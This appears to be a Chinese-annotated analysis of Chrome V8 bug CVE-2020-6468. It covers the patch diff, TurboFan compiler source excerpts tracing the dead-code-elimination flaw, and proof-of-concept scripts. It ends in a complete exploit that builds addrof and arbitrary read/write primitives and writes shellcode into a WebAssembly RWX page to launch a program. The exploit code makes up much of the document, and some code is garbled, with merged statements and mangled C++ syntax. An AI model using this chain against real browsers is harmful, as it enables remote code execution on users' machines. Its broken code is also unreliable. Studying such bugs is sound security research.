Chrome-V8-CVE-2020-6468

diff --git a/src/compiler/dead-code-elimination.cc b/src/compiler/dead-code-elimination.cc
index f39e6ca..bab6b7b 100644
--- a/src/compiler/dead-code-elimination.cc
+++ b/src/compiler/dead-code-elimination.cc
@@ -317,7 +317,10 @@
node->opcode() == IrOpcode::kTailCall);
Reduction reduction = PropagateDeadControl(node);
if (reduction.Changed()) return reduction;
- if (FindDeadInput(node) != nullptr) {
+ // Terminate nodes are not part of actual control flow, so they should never
+ // be replaced with Throw.
+ if (node->opcode() != IrOpcode::kTerminate &&
+ FindDeadInput(node) != nullptr) {
Node* effect = NodeProperties::GetEffectInput(node, 0);
Node* control = NodeProperties::GetControlInput(node, 0);
if (effect->opcode() != IrOpcode::kUnreachable) {

class classA {
    constructor() {
        this.val = 0x4242;
        this.x = 0;
        this.a = [1, 2, 3];
    }
}
class classB {
    constructor() {
        this.val = 0x4141;
        this.x = 1;
        this.s = "dsa";
    }
}
var A = new classA();
var B = new classB() function f(arg1, arg2) {
    if (arg2 == 41) {
        return 5;
    }
    var int8arr = new Int8Array(10);
    var z = arg1.x;
    // new arr length
    arg1.val = -1;
    int8arr[1500000000] = 22;
    async
    function f2() {
        const nothing = {};
        while (1) {
            //print("in loop");
            if (abc1 | abc2) {
                while (nothing) {
                    await 1;
                    print(abc3);
                }
            }
        }
    }
    f2();
}
var arr = new Array(10);
arr[0] = 1.1;
var i;
// this may optimize and deopt, that's fine
for (i = 0; i < 20000; i++) {
    f(A, 0);
    f(B, 0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i = 0; i < 10000; i++) {
    f(A, 41);
    f(B, 41);
}
// change the arr length
f(arr, 0);
alert("LENGTH: " + arr.length.toString());
alert("value at index 12: " + arr[12].toString());
// crash
alert("crash writing to offset 0x41414141");
arr[0x41414141] = 1.1;

//为优化做准备，确保JSFunction有FeedbackVector等相关的结构
% PrepareFunctionForOptimization(f);
//调用一次，确保有type feedeback
f();
//强制优化函数，在下次调用时
% OptimizeFunctionOnNextCall(f);
//调用，优化
f();

// this may optimize and deopt, that's fine
for (i = 0; i < 20000; i++) {
    f(A, 0);
    f(B, 0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i = 0; i < 10000; i++) {
    f(A, 41);
    f(B, 41);
}

function f(arg1, arg2) {
    if (arg2 == 41) {
        return 5;
    }
    var int8arr = new Int8Array(10);
    var z = arg1.x;
    // new arr length
    arg1.val = -1; //===============这里
    int8arr[1500000000] = 22;
    async
    function f2() {
        const nothing = {};
        while (1) {
            //print("in loop");
            if (abc1 | abc2) {
                while (nothing) {
                    await 1;
                    print(abc3);
                }
            }
        }
    }
    f2();
}

void BytecodeGraphBuilder: :CreateGraph() { [...] set_environment( & env);
    VisitBytecodes(); //===========这里
    [...] === =============================================================void BytecodeGraphBuilder: :VisitBytecodes() { [...]
        for (; ! bytecode_iterator().done(); bytecode_iterator().Advance()) {
            if (interpreter: :Bytecodes: :IsOneShotBytecode(bytecode_iterator().current_bytecode())) {
                has_one_shot_bytecode = true;
            }
            VisitSingleBytecode(); //==============这里
        } [...] === ================================================================void BytecodeGraphBuilder: :VisitSingleBytecode() { [...]
            if (environment() != nullptr) {
                BuildLoopHeaderEnvironment(current_offset); //这里
                switch (bytecode_iterator().current_bytecode()) { //看到这里有个switch，对所有bytecode 调用visit，但是我找不到对应的VisitTerminate
                    #define BYTECODE_CASE(name, ...)\
                case interpreter:
                    :
                    Bytecode:
                    :
                    k##name:
                    \Visit##name();\
                    break;
                    BYTECODE_LIST(BYTECODE_CASE)#undef BYTECODE_CASE
                }
            }
        } === ===============================================================void BytecodeGraphBuilder: :BuildLoopHeaderEnvironment(int current_offset) {
            if (bytecode_analysis().IsLoopHeader(current_offset)) { //这里要满足才可以，因为需要调用的函数在这分支内
                [...]
                // Add loop header.
                environment() - >PrepareForLoop(loop_info.assignments(), liveness); //这里
                [...] === ========================================================================void BytecodeGraphBuilder: :Environment: :PrepareForLoop(const BytecodeLoopAssignments & assignments, const BytecodeLivenessState * liveness) { [...]
                    // Connect to the loop end.
                    Node * terminate = builder() - >graph() - >NewNode( //创建terminate节点
                    builder() - >common() - >Terminate(), effect, control);
                    builder() - >exit_controls_.push_back(terminate); //将节点加入图中
                }

void BytecodeGraphBuilder: :VisitThrow() {
    BuildLoopExitsForFunctionExit(bytecode_analysis().GetInLivenessFor(bytecode_iterator().current_offset()));
    Node * value = environment() - >LookupAccumulator();
    Node * call = NewNode(javascript() - >CallRuntime(Runtime: :kThrow), value);
    environment() - >BindAccumulator(call, Environment: :kAttachFrameState);
    Node * control = NewNode(common() - >Throw());
    MergeControlToLeaveFunction(control);
}

Node* FindDeadInput(Node* node) {
for (Node* input : node->inputs()) {
if (NoReturn(input)) return input;
}
return nullptr;
}
=================================================
// True if we can guarantee that {node} will never actually produce a value or
// effect.
bool NoReturn(Node* node) {
return node->opcode() == IrOpcode::kDead ||
node->opcode() == IrOpcode::kUnreachable ||
node->opcode() == IrOpcode::kDeadValue ||
NodeProperties::GetTypeOrAny(node).IsNone();
}

var obj = {};
21·
function f() {
    var var13 = new Int8Array(0);
    var13[0] = obj;
    async
    function var5() {
        const var9 = {};
        while (1) {
            //print("in loop");
            if (abc1 | abc2) while (var9) {
                await 1;
                print(abc3);
            }
        }
    }
    var5();
}
print(f()); % PrepareFunctionForOptimization(f);
for (var i = 0; i < 22; i++) f(); % OptimizeFunctionOnNextCall(f);
f();

struct TypedLoweringPhase {
    DECL_PIPELINE_PHASE_CONSTANTS(TypedLowering) void Run(PipelineData * data, Zone * temp_zone) {
        GraphReducer graph_reducer(temp_zone, data - >graph(), &data - >info() - >tick_counter(), data - >jsgraph() - >Dead());
        DeadCodeElimination dead_code_elimination( & graph_reducer, data - >graph(), data - >common(), temp_zone); //这里
        [...]
    }
};

struct EscapeAnalysisPhase {
    DECL_PIPELINE_PHASE_CONSTANTS(EscapeAnalysis) void Run(PipelineData * data, Zone * temp_zone) {
        EscapeAnalysis escape_analysis(data - >jsgraph(), &data - >info() - >tick_counter(), temp_zone);
        escape_analysis.ReduceGraph();
        GraphReducer reducer(temp_zone, data - >graph(), &data - >info() - >tick_counter(), data - >jsgraph() - >Dead());
        EscapeAnalysisReducer //<==============这里
        escape_reducer( & reducer, data - >jsgraph(), escape_analysis.analysis_result(), temp_zone);
        AddReducer(data, &reducer, &escape_reducer);
        reducer.ReduceGraph();
        // TODO(tebbi): Turn this into a debug mode check once we have confidence.
        escape_reducer.VerifyReplacement();
    }
};

// Representation selection and lowering of {Simplified} operators to machine
// operators are interwined. We use a fixpoint calculation to compute both the
// output representation and the best possible lowering for {Simplified} nodes.
// Representation change insertion ensures that all values are in the correct
// machine representation after this phase, as dictated by the machine
// operators themselves.
enum Phase {
    // 1.) PROPAGATE: Traverse the graph from the end, pushing usage information
    // backwards from uses to definitions, around cycles in phis, according
    // to local rules for each operator.
    // During this phase, the usage information for a node determines the best
    // possible lowering for each operator so far, and that in turn determines
    // the output representation.
    // Therefore, to be correct, this phase must iterate to a fixpoint before
    // the next phase can begin.
    PROPAGATE,
    // 2.) RETYPE: Propagate types from type feedback forwards.
    RETYPE,
    // 3.) LOWER: perform lowering for all {Simplified} nodes by replacing some
    // operators for some nodes, expanding some nodes to multiple nodes, or
    // removing some (redundant) nodes.
    // During this phase, use the {RepresentationChanger} to insert
    // representation changes between uses that demand a particular
    // representation and nodes that produce a different representation.
    LOWER
};

// Store-store elimination.
//
// The aim of this optimization is to detect the following pattern in the
// effect graph:
//
// - StoreField[+24, kRepTagged](263, …)
//
// … lots of nodes from which the field at offset 24 of the object
// returned by node #263 cannot be observed …
//
// - StoreField[+24, kRepTagged](263, …)
//
// In such situations, the earlier StoreField cannot be observed, and can be
// eliminated. This optimization should work for any offset and input node, of
// course.
//
// The optimization also works across splits. It currently does not work for
// loops, because we tend to put a stack check in loops, and like deopts,
// stack checks can observe anything.
// Assumption: every byte of a JS object is only ever accessed through one
// offset. For instance, byte 15 of a given object may be accessed using a
// two-byte read at offset 14, or a four-byte read at offset 12, but never
// both in the same program.
//
// This implementation needs all dead nodes removed from the graph, and the
// graph should be trimmed.

//load-elimination.cc:74
Reduction LoadElimination: :Reduce(Node * node) { [...]
    switch (node - >opcode()) {
    case IrOpcode:
        :
        kCheckMaps:
        return ReduceCheckMaps(node); //===========调用ReduceCheckMaps
        [...]
    case IrOpcode:
        :
        kLoadField:
        return ReduceLoadField(node, FieldAccessOf(node - >op())); //======调用ReduceLoadField
    case IrOpcode:
        :
        kStoreField:
        return ReduceStoreField(node, FieldAccessOf(node - >op())); [...]
    } === ===================================================================Reduction LoadElimination: :ReduceCheckMaps(Node * node) {
        ZoneHandleSet < Map > const & maps = CheckMapsParametersOf(node - >op()).maps();
        Node * const object = NodeProperties: :GetValueInput(node, 0);
        Node * const effect = NodeProperties: :GetEffectInput(node); //得到effectinput(上面的store)
        AbstractState const * state = node_states_.Get(effect);
        if (state == nullptr) return NoChange();
        ZoneHandleSet < Map > object_maps;
        if (state - >LookupMaps(object, &object_maps)) { //查看maps
            if (maps.contains(object_maps)) return Replace(effect); //如果maps没毛病，就把这个check消去(换成输入就相当于这个结点没了)
            // TODO(turbofan): Compute the intersection.
        }
        state = state - >SetMaps(object, maps, zone());
        return UpdateState(node, state);
    } === =============================================================Reduction LoadElimination: :ReduceStoreField(Node * node, FieldAccess const & access) { [...]

class classA {
    constructor() {
        this.val = 0x4242;
        this.x = 0;
        this.a = [1, 2, 3];
    }
}
class classB {
    constructor() {
        this.val = 0x4141;
        this.x = 1;
        this.s = "dsa";
    }
}
var A = new classA();
var B = new classB();
function f(arg1, arg2) {
    var int8arr = new Int8Array(1);
    arg1.val = -1;
    int8arr[1500000000] = 22;
    async
    function f2() {
        const nothing = {};
        while (1) {
            //print("in loop");
            if (abc1 | abc2) {
                while (nothing) {
                    await 1;
                    print(abc3);
                }
            }
        }
    }
    f2();
}
var arr = new Array(10);
arr[0] = 1.1;
var i; % PrepareFunctionForOptimization(f);
for (var i = 0; i < 7; i++) f(A, 0);
f(B, 0); % OptimizeFunctionOnNextCall(f);
f(arr, 0);
console.log("NOW:" + arr.length);

Schedule * Scheduler: :ComputeSchedule(Zone * zone, Graph * graph, Flags flags, TickCounter * tick_counter) {
    Zone * schedule_zone = (flags & Scheduler: :kTempSchedule) ? zone: graph - >zone();
    // Reserve 10% more space for nodes if node splitting is enabled to try to
    // avoid resizing the vector since that would triple its zone memory usage.
    float node_hint_multiplier = (flags & Scheduler: :kSplitNodes) ? 1.1 : 1;
    size_t node_count_hint = node_hint_multiplier * graph - >NodeCount();
    Schedule * schedule = new(schedule_zone) Schedule(schedule_zone, node_count_hint);
    Scheduler scheduler(zone, graph, schedule, flags, node_count_hint, tick_counter);
    scheduler.BuildCFG(); //建立基础block 和 建立联系
    scheduler.ComputeSpecialRPONumbering();
    scheduler.GenerateDominatorTree();
    scheduler.PrepareUses();
    scheduler.ScheduleEarly();
    scheduler.ScheduleLate(); //找到每个node 和 控制node的联系
    scheduler.SealFinalSchedule(); //把对应node 放到对应block里
    return schedule;
}

var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = 20; //backing_store相对于arr位置的偏移对应的下标，这里arr是改过长度的越界数组
function read_8bytes(addr) {
    arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true); // true 设置小端序
}
function write_8bytes(addr, data) {
    arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
}

class classA {
    constructor() {
        this.val = 0x4242;
        this.x = 0;
        this.a = [1, 2, 3];
    }
}
class classB {
    constructor() {
        this.val = 0x4141;
        this.x = 1;
        this.s = "dsa";
    }
}
var A = new classA();
var B = new classB() function f(arg1, arg2) {
    if (arg2 == 41) {
        return 5;
    }
    var int8arr = new Int8Array(10);
    var z = arg1.x;
    // new arr length
    arg1.val = -1;
    int8arr[1500000000] = 22;
    async
    function f2() {
        const nothing = {};
        while (1) {
            if (abc1 | abc2) {
                while (nothing) {
                    await 1;
                    print(abc3);
                }
            }
        }
    }
    f2();
}
var i;
// this may optimize and deopt, that's fine
for (i = 0; i < 20000; i++) {
    f(A, 0);
    f(B, 0);
}
// this will optimize it and it won't deopt
// this loop needs to be less than the previous one
for (i = 0; i < 10000; i++) {
    f(A, 41);
    f(B, 41);
}
oob = [1.1, 1.1, 1.1, 1.1];
float_arr = [2.1, 2.2, 2.3, 2.4];
obj_arr = [{}].slice();
// change the arr length
f(oob, 0);
print("[+] LENGTH : " + oob.length);
//just for float->Int or Int->float
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
function hex(b) {
    return ('0x' + b.toString(16));
}
tmp = (ftoi(oob[14])) //we get the offset by debug
float_map = tmp >> 32n // float map
//just suitable for my test, you'd better check localy,
//and this value contain the free 32bit val, in order restore it, as we write total 64bit
float_map_low = tmp & 0xffffffffn tmp = (ftoi(oob[25]));
obj_map_high = tmp >> 32n;
obj_map = tmp & 0xffffffffn; // obj map
print('[+] float map : ' + hex(float_map));
print('[+] obj map : ' + hex(obj_map));
//the offset 25 is obj_map_addr
function addrof(obj) {
    obj_arr[0] = obj;
    oob[25] = itof((obj_map_high << 32n) | float_map);
    let addr = obj_arr[0];
    oob[25] = itof((obj_map_high << 32n) | obj_map);
    return ftoi(addr) & 0xffffffffn;
}
//we chenge elements ptr in order to arb_r/w, so we need store other 32bit like before
elements = ftoi(oob[15]);
// print("[+] elements = "+hex(elements));
elements_low = elements & 0xffffffffn
// print("[+] elements_low = "+hex(elements_low));
function aar(addr) {
    oob[15] = itof((addr - 0x8n << 32n) | elements_low);
    return ftoi(float_arr[0]);
}
function aaw(addr, val) {
    oob[15] = itof((addr - 0x8n << 32n) | elements_low);
    float_arr[0] = itof(val);
}
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var wasm_i_addr = addrof(wasm_instance);
print("[+] the wasm_addr : " + hex(wasm_i_addr));
var rwx_addr = aar((wasm_i_addr + 0x68n));
print('[+] rwx_addr : ' + hex(rwx_addr)) var shellcode = Array(20);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163; //xcalc
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000031;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
var shellcode_buf = new ArrayBuffer(0x100);
var dataview = new DataView(shellcode_buf);
aaw(addrof(shellcode_buf) + 0x14n, rwx_addr); //cheng back_store
for (var i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4 * i, shellcode[i], true);
}
print("[+] Okey! Trigger my shellcode :p");
f();